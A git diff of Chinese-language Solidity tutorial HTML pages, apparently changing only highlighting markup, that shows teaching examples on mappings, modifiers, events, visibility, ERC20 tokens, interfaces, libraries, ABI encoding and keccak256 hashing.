    -        delete myMap[_addr];
    +    function remove(address _addr) public {
    +        // Reset the value to the default value.
    +        delete myMap[_addr];
         }
     }
     
     contract NestedMapping {
    -    // Nested mapping (mapping from address to another mapping)
    -    mapping(address => mapping(uint => bool)) public nested;
    +    // Nested mapping (mapping from address to another mapping)
    +    mapping(address => mapping(uint => bool)) public nested;
     
    -    function get(address _addr1, uint _i) public view returns (bool) {
    -        // You can get values from a nested mapping
    -        // even when it is not initialized
    -        return nested[_addr1][_i];
    +    function get(address _addr1, uint _i) public view returns (bool) {
    +        // You can get values from a nested mapping
    +        // even when it is not initialized
    +        return nested[_addr1][_i];
         }
     
    -    function set(
    +    function set(
             address _addr1,
             uint _i,
             bool _boo
    -    ) public {
    +    ) public {
             nested[_addr1][_i] = _boo;
         }
     
    -    function remove(address _addr1, uint _i) public {
    -        delete nested[_addr1][_i];
    +    function remove(address _addr1, uint _i) public {
    +        delete nested[_addr1][_i];
         }
     }
     
    @@ -3648,56 +3644,56 @@

    修饰器modifier

  • 参数校验
  • 防止重入攻击等
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract FunctionModifier {
    -    // We will use these variables to demonstrate how to use modifiers.
    +    // We will use these variables to demonstrate how to use modifiers.
         address public owner;
    -    uint public x = 10;
    +    uint public x = 10;
         bool public locked;
     
    -    constructor() {
    -        // Set the transaction sender as the owner of the contract.
    +    constructor() {
    +        // Set the transaction sender as the owner of the contract.
             owner = msg.sender;
         }
     
    -    // 1. Modifier to check that the caller is the owner of the contract.
    -    modifier onlyOwner() {
    -        require(msg.sender == owner, "Not owner");
    -        // Underscore is a special character only used inside
    -        // a function modifier and it tells Solidity to
    -        // execute the rest of the code.
    +    // 1. Modifier to check that the caller is the owner of the contract.
    +    modifier onlyOwner() {
    +        require(msg.sender == owner, "Not owner");
    +        // Underscore is a special character only used inside
    +        // a function modifier and it tells Solidity to
    +        // execute the rest of the code.
             _;
         }
     
    -    // 2. Modifiers can take inputs. This modifier checks that the
    -    // address passed in is not the zero address.
    -    modifier validAddress(address _addr) {
    -        require(_addr != address(0), "Not valid address");
    +    // 2. Modifiers can take inputs. This modifier checks that the
    +    // address passed in is not the zero address.
    +    modifier validAddress(address _addr) {
    +        require(_addr != address(0), "Not valid address");
             _;
         }
     
    -    function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
    +    function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
             owner = _newOwner;
         }
     
    -    // Modifiers can be called before and / or after a function.
    -    // This modifier prevents a function from being called while
    -    // it is still executing.
    -    modifier noReentrancy() {
    -        require(!locked, "No reentrancy");
    +    // Modifiers can be called before and / or after a function.
    +    // This modifier prevents a function from being called while
    +    // it is still executing.
    +    modifier noReentrancy() {
    +        require(!locked, "No reentrancy");
     
    -        locked = true;
    +        locked = true;
             _;
    -        locked = false;
    +        locked = false;
         }
     
    -    function decrement(uint i) public noReentrancy {
    +    function decrement(uint i) public noReentrancy {
             x -= i;
     
    -        if (i > 1) {
    -            decrement(i - 1);
    +        if (i > 1) {
    +            decrement(i - 1);
             }
         }
     }
    @@ -3714,20 +3710,20 @@ 

    事件Event

  • subgraph对合约事件进行监听,计算(如:统计用户数量)
  • 前端程序直接访问subgraph的服务,获得统计数据(这避免了在合约层面统计数据的费用,并且获取速度更快)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Event {
    -    // Event declaration
    -    // Up to 3 parameters can be indexed.
    -    // Indexed parameters helps you filter the logs by the indexed parameter
    -    event Log(address indexed sender, string message); // 修饰为indexed
    -    event AnotherLog(); // 无参数的事件
    -      event TestAnonymous(address indexed sender, uint256 num) anonymous; // 匿名事件
    -
    -    function test() public {
    -        emit Log(msg.sender, "Hello World!");
    -        emit Log(msg.sender, "Hello EVM!");
    +    // Event declaration
    +    // Up to 3 parameters can be indexed.
    +    // Indexed parameters helps you filter the logs by the indexed parameter
    +    event Log(address indexed sender, string message); // 修饰为indexed
    +    event AnotherLog(); // 无参数的事件
    +      event TestAnonymous(address indexed sender, uint256 num) anonymous; // 匿名事件
    +
    +    function test() public {
    +        emit Log(msg.sender, "Hello World!");
    +        emit Log(msg.sender, "Hello EVM!");
             emit AnotherLog();
         }
     }
    @@ -3740,70 +3736,70 @@ 

    可见性visibility

  • internal:仅允许合约内部以及子合约中调用;
  • external:仅允许外部地址(EOA或CA)调用,合约内部及子合约都不能调用;(早期版本可以使用this调用external方法)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Base {
    -    // Private function can only be called
    -    // - inside this contract
    -    // Contracts that inherit this contract cannot call this function.
    -    function privateFunc() private pure returns (string memory) {
    -        return "private function called";
    +    // Private function can only be called
    +    // - inside this contract
    +    // Contracts that inherit this contract cannot call this function.
    +    function privateFunc() private pure returns (string memory) {
    +        return "private function called";
         }
     
    -    function testPrivateFunc() public pure returns (string memory) {
    -        return privateFunc();
    +    function testPrivateFunc() public pure returns (string memory) {
    +        return privateFunc();
         }
     
    -    // Internal function can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    function internalFunc() internal pure returns (string memory) {
    -        return "internal function called";
    +    // Internal function can be called
    +    // - inside this contract
    +    // - inside contracts that inherit this contract
    +    function internalFunc() internal pure returns (string memory) {
    +        return "internal function called";
         }
     
    -    function testInternalFunc() public pure virtual returns (string memory) {
    -        return internalFunc();
    +    function testInternalFunc() public pure virtual returns (string memory) {
    +        return internalFunc();
         }
     
    -    // Public functions can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    // - by other contracts and accounts
    -    function publicFunc() public pure returns (string memory) {
    -        return "public function called";
    +    // Public functions can be called
    +    // - inside this contract
    +    // - inside contracts that inherit this contract
    +    // - by other contracts and accounts
    +    function publicFunc() public pure returns (string memory) {
    +        return "public function called";
         }
     
    -    // External functions can only be called
    -    // - by other contracts and accounts
    -    function externalFunc() external pure returns (string memory) {
    -        return "external function called";
    +    // External functions can only be called
    +    // - by other contracts and accounts
    +    function externalFunc() external pure returns (string memory) {
    +        return "external function called";
         }
     
    -    // This function will not compile since we're trying to call
    -    // an external function here.
    -    // function testExternalFunc() public pure returns (string memory) {
    -    //     return externalFunc();
    -    // }
    -
    -    // State variables
    -    string private privateVar = "my private variable";
    -    string internal internalVar = "my internal variable";
    -    string public publicVar = "my public variable";
    -    // State variables cannot be external so this code won't compile.
    -    // string external externalVar = "my external variable";
    +    // This function will not compile since we're trying to call
    +    // an external function here.
    +    // function testExternalFunc() public pure returns (string memory) {
    +    //     return externalFunc();
    +    // }
    +
    +    // State variables
    +    string private privateVar = "my private variable";
    +    string internal internalVar = "my internal variable";
    +    string public publicVar = "my public variable";
    +    // State variables cannot be external so this code won't compile.
    +    // string external externalVar = "my external variable";
     }
     
     contract Child is Base {
    -    // Inherited contracts do not have access to private functions
    -    // and state variables.
    -    // function testPrivateFunc() public pure returns (string memory) {
    -    //     return privateFunc();
    -    // }
    -
    -    // Internal function call be called inside child contracts.
    -    function testInternalFunc() public pure override returns (string memory) {
    -        return internalFunc();
    +    // Inherited contracts do not have access to private functions
    +    // and state variables.
    +    // function testPrivateFunc() public pure returns (string memory) {
    +    //     return privateFunc();
    +    // }
    +
    +    // Internal function call be called inside child contracts.
    +    function testInternalFunc() public pure override returns (string memory) {
    +        return internalFunc();
         }
     }
     
    @@ -3813,142 +3809,142 @@

    ERC20(标准Token)

  • 任何遵从EIP-20协议(ERC20标准)的Contract都属于ERC20 Token
  • 标准接口

    -
    // 6 REQUIRED FUNCTIONS
    -function totalSupply() public view returns (uint256)
    -function balanceOf(address _owner) public view returns (uint256 balance)
    -function transfer(address _to, uint256 _value) public returns (bool success)
    -function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
    -function approve(address _spender, uint256 _value) public returns (bool success)
    -function allowance(address _owner, address _spender) public view returns (uint256 remaining)
    -
    -// 2 REQUIRED EVENTS
    -event Transfer(address indexed _from, address indexed _to, uint256 _value)
    -event Approval(address indexed _owner, address indexed _spender, uint256 _value)
    -
    -// 3. OPTIONAL FUNCTIONS
    -function name() public view returns (string)
    -function symbol() public view returns (string)
    -function decimals() public view returns (uint8)
    -
    +
    // 6 REQUIRED FUNCTIONS
    +function totalSupply() public view returns (uint256)
    +function balanceOf(address _owner) public view returns (uint256 balance)
    +function transfer(address _to, uint256 _value) public returns (bool success)
    +function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
    +function approve(address _spender, uint256 _value) public returns (bool success)
    +function allowance(address _owner, address _spender) public view returns (uint256 remaining)
    +
    +// 2 REQUIRED EVENTS
    +event Transfer(address indexed _from, address indexed _to, uint256 _value)
    +event Approval(address indexed _owner, address indexed _spender, uint256 _value)
    +
    +// 3. OPTIONAL FUNCTIONS
    +function name() public view returns (string)
    +function symbol() public view returns (string)
    +function decimals() public view returns (uint8)
    +

    发行Token

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
    +// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
     interface IERC20 {
    -      // 6 REQUIRED FUNCTIONS
    -      // 总发行量
    -    function totalSupply() external view returns (uint);  // -> 总发行量 100000000 * 10**decimals
    -
    -      // 标准decimal: 18
    -      // USDT: 6
    -      // WBTC: 8
    -    function balanceOf(address account) external view returns (uint); // 指定账户的余额
    -
    -    // 币的持有人直接调用,进行转账
    -    function transfer(address recipient, uint amount) external returns (bool);
    -
    -      // 最常用的!!
    -      // 1. 我这个owner对合约进行approve,此时approve内部会修改allowance变量
    -      // 2. 合约内部调用transferFrom来支配owner的token
    -    function transferFrom( // spender就是这个合约
    -        address sender,    // owner
    -        address recipient,    // 转给谁
    -        uint amount // 金额
    -    ) external returns (bool);
    -
    -
    -    // owner: 币的持有人
    -      // spender: 是指定帮助花费的代理人(被授权的人)
    -    function allowance(address owner, address spender) external view returns (uint); // 授权的额度
    -
    -    // decimals view,这是一个public 的变量,自动提供了一个读取的方法 // 返回精度
    -      // 持有人对spender进行授权,在approve内部,会调用msg.sender来知道owner是谁
    -    function approve(address spender, uint amount) external returns (bool);
    -
    -      // 2 REQUIRED EVENTS
    -      // 事件
    -    event Transfer(address indexed from, address indexed to, uint value);
    +      // 6 REQUIRED FUNCTIONS
    +      // 总发行量
    +    function totalSupply() external view returns (uint);  // -> 总发行量 100000000 * 10**decimals
    +
    +      // 标准decimal: 18
    +      // USDT: 6
    +      // WBTC: 8
    +    function balanceOf(address account) external view returns (uint); // 指定账户的余额
    +
    +    // 币的持有人直接调用,进行转账
    +    function transfer(address recipient, uint amount) external returns (bool);
    +
    +      // 最常用的!!
    +      // 1. 我这个owner对合约进行approve,此时approve内部会修改allowance变量
    +      // 2. 合约内部调用transferFrom来支配owner的token
    +    function transferFrom( // spender就是这个合约
    +        address sender,    // owner
    +        address recipient,    // 转给谁
    +        uint amount // 金额
    +    ) external returns (bool);
    +
    +
    +    // owner: 币的持有人
    +      // spender: 是指定帮助花费的代理人(被授权的人)
    +    function allowance(address owner, address spender) external view returns (uint); // 授权的额度
    +
    +    // decimals view,这是一个public 的变量,自动提供了一个读取的方法 // 返回精度
    +      // 持有人对spender进行授权,在approve内部,会调用msg.sender来知道owner是谁
    +    function approve(address spender, uint amount) external returns (bool);
    +
    +      // 2 REQUIRED EVENTS
    +      // 事件
    +    event Transfer(address indexed from, address indexed to, uint value);
         event Approval(address indexed owner, address indexed spender, uint value);
     
    -    // 3. OPTIONAL FUNCTIONS
    -    function name() public view returns (string)
    -    function symbol() public view returns (string)
    -    function decimals() public view returns (uint8)
    +    // 3. OPTIONAL FUNCTIONS
    +    function name() public view returns (string)
    +    function symbol() public view returns (string)
    +    function decimals() public view returns (uint8)
     }
    -
    +

    以下是ERC20的案例:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -import "./IERC20.sol";
    +import "./IERC20.sol";
     
     contract ERC20 is IERC20 {
         uint public totalSupply;
    -    mapping(address => uint) public balanceOf;
    -    mapping(address => mapping(address => uint)) public allowance;
    -    string public name = "Solidity by Example";
    -    string public symbol = "SOLBYEX";
    -    uint8 public decimals = 18;
    +    mapping(address => uint) public balanceOf;
    +    mapping(address => mapping(address => uint)) public allowance;
    +    string public name = "Solidity by Example";
    +    string public symbol = "SOLBYEX";
    +    uint8 public decimals = 18;
     
    -    function transfer(address recipient, uint amount) external returns (bool) {
    +    function transfer(address recipient, uint amount) external returns (bool) {
             balanceOf[msg.sender] -= amount;
             balanceOf[recipient] += amount;
             emit Transfer(msg.sender, recipient, amount);
    -        return true;
    +        return true;
         }
     
    -    function approve(address spender, uint amount) external returns (bool) {
    +    function approve(address spender, uint amount) external returns (bool) {
             allowance[msg.sender][spender] = amount;
             emit Approval(msg.sender, spender, amount);
    -        return true;
    +        return true;
         }
     
    -    function transferFrom(
    +    function transferFrom(
             address sender,
             address recipient,
             uint amount
    -    ) external returns (bool) {
    +    ) external returns (bool) {
             allowance[sender][msg.sender] -= amount;
             balanceOf[sender] -= amount;
             balanceOf[recipient] += amount;
             emit Transfer(sender, recipient, amount);
    -        return true;
    +        return true;
         }
     
    -    function mint(uint amount) external {
    +    function mint(uint amount) external {
             balanceOf[msg.sender] += amount;
             totalSupply += amount;
    -        emit Transfer(address(0), msg.sender, amount);
    +        emit Transfer(address(0), msg.sender, amount);
         }
     
    -    function burn(uint amount) external {
    +    function burn(uint amount) external {
             balanceOf[msg.sender] -= amount;
             totalSupply -= amount;
    -        emit Transfer(msg.sender, address(0), amount);
    +        emit Transfer(msg.sender, address(0), amount);
         }
     }
     

    可以使用openzeppelin库进行创建自己的token:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";
    -import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    +// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";
    +import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
     
     
     contract MyToken is ERC20 {
    -    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
    -        // Mint 100 tokens to msg.sender
    -        // Similar to how
    -        // 1 dollar = 100 cents
    -        // 1 token = 1 * (10 ** decimals)
    -        _mint(msg.sender, 100 * 10**uint(decimals()));
    +    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
    +        // Mint 100 tokens to msg.sender
    +        // Similar to how
    +        // 1 dollar = 100 cents
    +        // 1 token = 1 * (10 ** decimals)
    +        _mint(msg.sender, 100 * 10**uint(decimals()));
         }
     
    -    // 默认是18,可以进行override
    -    function decimals() public view override returns (uint8) {
    -        return 6;
    +    // 默认是18,可以进行override
    +    function decimals() public view override returns (uint8) {
    +        return 6;
         }
     }
     
    @@ -3980,7 +3976,7 @@

    发行Token

    @@ -4066,14 +4062,6 @@

    发行Token

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/04-solidity\357\274\210\344\270\213\357\274\211.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/04-solidity\357\274\210\344\270\213\357\274\211.html" index 6271ad61..d70ff301 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/04-solidity\357\274\210\344\270\213\357\274\211.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/04-solidity\357\274\210\344\270\213\357\274\211.html" @@ -36,10 +36,6 @@ - - - - @@ -3041,65 +3037,65 @@

    interface

  • 接口中不能定义状态变量;
  • abstract和interface的区别
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Counter {
         uint public count;
     
    -    function increment() external {
    -        count += 1;
    +    function increment() external {
    +        count += 1;
         }
     }
     
     interface IBase {
    -    function count() external view returns (uint);
    +    function count() external view returns (uint);
     }
     
     interface ICounter is IBase {
    -      // uint num;
    -    function increment() external;
    +      // uint num;
    +    function increment() external;
     }
     
     contract MyContract {
    -    function incrementCounter(address _counter) external {
    +    function incrementCounter(address _counter) external {
             ICounter(_counter).increment();
         }
     
    -    function getCount(address _counter) external view returns (uint) {
    -        return ICounter(_counter).count();
    +    function getCount(address _counter) external view returns (uint) {
    +        return ICounter(_counter).count();
         }
     }
     

    uniswap demo:

    -
    // Uniswap example
    +
    // Uniswap example
     interface UniswapV2Factory {
    -    function getPair(address tokenA, address tokenB)
    -        external
    -        view
    -        returns (address pair);
    +    function getPair(address tokenA, address tokenB)
    +        external
    +        view
    +        returns (address pair);
     }
     
     interface UniswapV2Pair {
    -    function getReserves()
    -        external
    -        view
    -        returns (
    +    function getReserves()
    +        external
    +        view
    +        returns (
                 uint112 reserve0,
                 uint112 reserve1,
                 uint32 blockTimestampLast
    -        );
    +        );
     }
     
     contract UniswapExample {
    -    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    -    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    -    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    +    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    +    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    +    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
     
    -    function getTokenReserves() external view returns (uint, uint) {
    +    function getTokenReserves() external view returns (uint, uint) {
             address pair = UniswapV2Factory(factory).getPair(dai, weth);
             (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves();
    -        return (reserve0, reserve1);
    +        return (reserve0, reserve1);
         }
     }
     
    @@ -3114,82 +3110,82 @@

    library

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// 1. 只有internal方法,会内嵌到调用合约中
    +// 1. 只有internal方法,会内嵌到调用合约中
     library SafeMath {
     
    -    function add(uint x, uint y) internal pure returns (uint) {
    +    function add(uint x, uint y) internal pure returns (uint) {
             uint z = x + y;
    -        require(z >= x, "uint overflow");
    +        require(z >= x, "uint overflow");
     
    -        return z;
    +        return z;
         }
     }
     
    -library Math {
    -    function sqrt(uint y) internal pure returns (uint z) {
    -        if (y > 3) {
    +library Math {
    +    function sqrt(uint y) internal pure returns (uint z) {
    +        if (y > 3) {
                 z = y;
    -            uint x = y / 2 + 1;
    -            while (x < z) {
    +            uint x = y / 2 + 1;
    +            while (x < z) {
                     z = x;
    -                x = (y / x + x) / 2;
    +                x = (y / x + x) / 2;
                 }
    -        } else if (y != 0) {
    -            z = 1;
    +        } else if (y != 0) {
    +            z = 1;
             }
    -        // else z = 0 (default value)
    +        // else z = 0 (default value)
         }
     }
     
     contract TestSafeMath {
    -      // 对uint类型增加SafeMath的方法,
    -      // 1. 后续定义的uint变量就会自动绑定SafeMath提供的方法: uint x;
    -      // 2. 这个变量会作为第一个参数传递给函数: x.add(y);
    -    using SafeMath for uint;
    +      // 对uint类型增加SafeMath的方法,
    +      // 1. 后续定义的uint变量就会自动绑定SafeMath提供的方法: uint x;
    +      // 2. 这个变量会作为第一个参数传递给函数: x.add(y);
    +    using SafeMath for uint;
     
    -    uint public MAX_UINT = 2**256 - 1;
    +    uint public MAX_UINT = 2**256 - 1;
     
    -      // 用法1:x.方法(y)
    -    function testAdd(uint x, uint y) public pure returns (uint) {
    -       //return x.add(y);
    -      return SafeMath.add(x,y);
    +      // 用法1:x.方法(y)
    +    function testAdd(uint x, uint y) public pure returns (uint) {
    +       //return x.add(y);
    +      return SafeMath.add(x,y);
         }
     
    -      // 用法2:库.方法(x)
    -    function testSquareRoot(uint x) public pure returns (uint) {
    -        return Math.sqrt(x);
    +      // 用法2:库.方法(x)
    +    function testSquareRoot(uint x) public pure returns (uint) {
    +        return Math.sqrt(x);
         }
     }
     
    -// 2. 存在public方法时,会单独部署库合约,并且第一个参数是状态变量类型
    -library Array {
    -      // 修改调用者状态变量的方式,第一个参数是状态变量本身
    -    function remove(uint[] storage arr, uint index) public {
    -        // Move the last element into the place to delete
    -        require(arr.length > 0, "Can't remove from empty array");
    -        arr[index] = arr[arr.length - 1];
    +// 2. 存在public方法时,会单独部署库合约,并且第一个参数是状态变量类型
    +library Array {
    +      // 修改调用者状态变量的方式,第一个参数是状态变量本身
    +    function remove(uint[] storage arr, uint index) public {
    +        // Move the last element into the place to delete
    +        require(arr.length > 0, "Can't remove from empty array");
    +        arr[index] = arr[arr.length - 1];
             arr.pop();
         }
     }
     
     contract TestArray {
    -    using Array for uint[];
    +    using Array for uint[];
     
         uint[] public arr;
     
    -    function testArrayRemove() public {
    -        for (uint i = 0; i < 3; i++) {
    +    function testArrayRemove() public {
    +        for (uint i = 0; i < 3; i++) {
                 arr.push(i);
             }
     
    -        arr.remove(1);
    +        arr.remove(1);
     
    -        assert(arr.length == 2);
    -        assert(arr[0] == 0);
    -        assert(arr[1] == 2);
    +        assert(arr.length == 2);
    +        assert(arr[0] == 0);
    +        assert(arr[1] == 2);
         }
     }
     
    @@ -3200,93 +3196,93 @@

    encode

  • abi.encodePacked:与abi.encode类似,但是生成的bytes是压缩过的(有些类型不会自动填充,无法传递给合约调用)。
  • 手册:https://docs.soliditylang.org/en/v0.8.13/abi-spec.html?highlight=abi.encodePacked#non-standard-packed-mode
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract AbiDecode {
         struct MyStruct {
             string name;
    -        uint[2] nums;
    +        uint[2] nums;
         }
     
    -    // input: 10, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, [1,"2",3], ["duke", [10,20]]
    -    // output: 0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000064756b6500000000000000000000000000000000000000000000000000000000
    -    //  output长度:832位16进制字符(去除0x),832 / 32 = 26 (一定是32字节的整数倍,不足填0)
    -    function encode(
    +    // input: 10, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, [1,"2",3], ["duke", [10,20]]
    +    // output: 0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000064756b6500000000000000000000000000000000000000000000000000000000
    +    //  output长度:832位16进制字符(去除0x),832 / 32 = 26 (一定是32字节的整数倍,不足填0)
    +    function encode(
             uint x,
             address addr,
             uint[] calldata arr,
             MyStruct calldata myStruct
    -    ) external pure returns (bytes memory) {
    -        return abi.encode(x, addr, arr, myStruct);
    +    ) external pure returns (bytes memory) {
    +        return abi.encode(x, addr, arr, myStruct);
         }
     
    -    function decode(bytes calldata data)
    -        external
    -        pure
    -        returns (
    +    function decode(bytes calldata data)
    +        external
    +        pure
    +        returns (
                 uint x,
                 address addr,
                 uint[] memory arr,
                 MyStruct memory myStruct
    -        )
    -    {
    +        )
    +    {
             (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct));
     
    -        /* decode output: 
    +        /* decode output: 
                 0: uint256: x 10
                 1: address: addr 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
                 2: uint256[]: arr 1,2,3
                 3: tuple(string,uint256[2]): myStruct ,10,20
    -        */
    +        */
         }
     
    -    // 可以只decode其中部分字段,而不用全部decode,当前案例中,只有第一个字段被解析了,其余为默认值
    -    function decodeLess(bytes calldata data)
    -        external
    -        pure
    -        returns (
    +    // 可以只decode其中部分字段,而不用全部decode,当前案例中,只有第一个字段被解析了,其余为默认值
    +    function decodeLess(bytes calldata data)
    +        external
    +        pure
    +        returns (
                 uint x,
                 address addr,
                 uint[] memory arr,
                 MyStruct memory myStruct
    -        )
    -    {
    +        )
    +    {
             (x) = abi.decode(data, (uint));
     
    -        /* decode output: 
    +        /* decode output: 
                 0: uint256: x 10
                 1: address: addr 0x0000000000000000000000000000000000000000
                 2: uint256[]: arr
                 3: tuple(string,uint256[2]): myStruct ,0,0
    -        */
    +        */
         }
     
    -    // input: -1, 0x42, 0x03, "Hello, world!"
    -    function encodePacked(
    +    // input: -1, 0x42, 0x03, "Hello, world!"
    +    function encodePacked(
             int16 x,
             bytes1 y,
             uint16 z,
             string memory s
    -    ) external view returns (bytes memory) {
    +    ) external view returns (bytes memory) {
     
    -        // encodePacked 不支持struct和mapping
    -        return abi.encodePacked(x, y, z, s);
    +        // encodePacked 不支持struct和mapping
    +        return abi.encodePacked(x, y, z, s);
     
    -        /*
    +        /*
             0xffff42000348656c6c6f2c20776f726c6421
               ^^^^                                 int16(-1)
                   ^^                               bytes1(0x42)
                     ^^^^                           uint16(0x03)
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^ string("Hello, world!") without a length field
    -        */
    +        */
         }
     
    -      // 可以用encodePacked来拼接字符串
    -      // output string: ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/100.json
    -      function encodePackedTest() public  pure returns (string memory) {
    -        string memory uri = "ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/";
    -        return string(abi.encodePacked(uri, "100", ".json"));
    +      // 可以用encodePacked来拼接字符串
    +      // output string: ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/100.json
    +      function encodePackedTest() public  pure returns (string memory) {
    +        string memory uri = "ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/";
    +        return string(abi.encodePacked(uri, "100", ".json"));
         }
     }
     
    @@ -3296,39 +3292,39 @@

    keccak256

  • 用于生成唯一id;
  • 生成数据指纹;
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract HashFunction {
    -    function hash(
    +    function hash(
             string memory _text,
             uint _num,
             address _addr
    -    ) public pure returns (bytes32) {
    -        return keccak256(abi.encodePacked(_text, _num, _addr));
    +    ) public pure returns (bytes32) {
    +        return keccak256(abi.encodePacked(_text, _num, _addr));
         }
     
    -    // Example of hash collision
    -    // Hash collision can occur when you pass more than one dynamic data type
    -    // to abi.encodePacked. In such case, you should use abi.encode instead.
    -    function collision(string memory _text, string memory _anotherText)
    -        public
    -        pure
    -        returns (bytes32)
    -    {
    -        // encodePacked(AAA, BBB) -> AAABBB
    -        // encodePacked(AA, ABBB) -> AAABBB
    -        return keccak256(abi.encodePacked(_text, _anotherText));
    +    // Example of hash collision
    +    // Hash collision can occur when you pass more than one dynamic data type
    +    // to abi.encodePacked. In such case, you should use abi.encode instead.
    +    function collision(string memory _text, string memory _anotherText)
    +        public
    +        pure
    +        returns (bytes32)
    +    {
    +        // encodePacked(AAA, BBB) -> AAABBB
    +        // encodePacked(AA, ABBB) -> AAABBB
    +        return keccak256(abi.encodePacked(_text, _anotherText));
         }
     }
     
     contract GuessTheMagicWord {
         bytes32 public answer =
    -        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;
    +        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;
     
    -    // Magic word is "Solidity"
    -    function guess(string memory _word) public view returns (bool) {
    -        return keccak256(abi.encodePacked(_word)) == answer;
    +    // Magic word is "Solidity"
    +    function guess(string memory _word) public view returns (bool) {
    +        return keccak256(abi.encodePacked(_word)) == answer;
         }
     }
     
    @@ -3347,11 +3343,11 @@

    Send Ether

  • receive() external payable:msg.data为空时调用(为接收ether而生,仅solidity 0.6版本之后)
  • fallback() external payable:msg.data非空时调用(为执行default逻辑而生,顺便支持接收ether
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ReceiveEther {
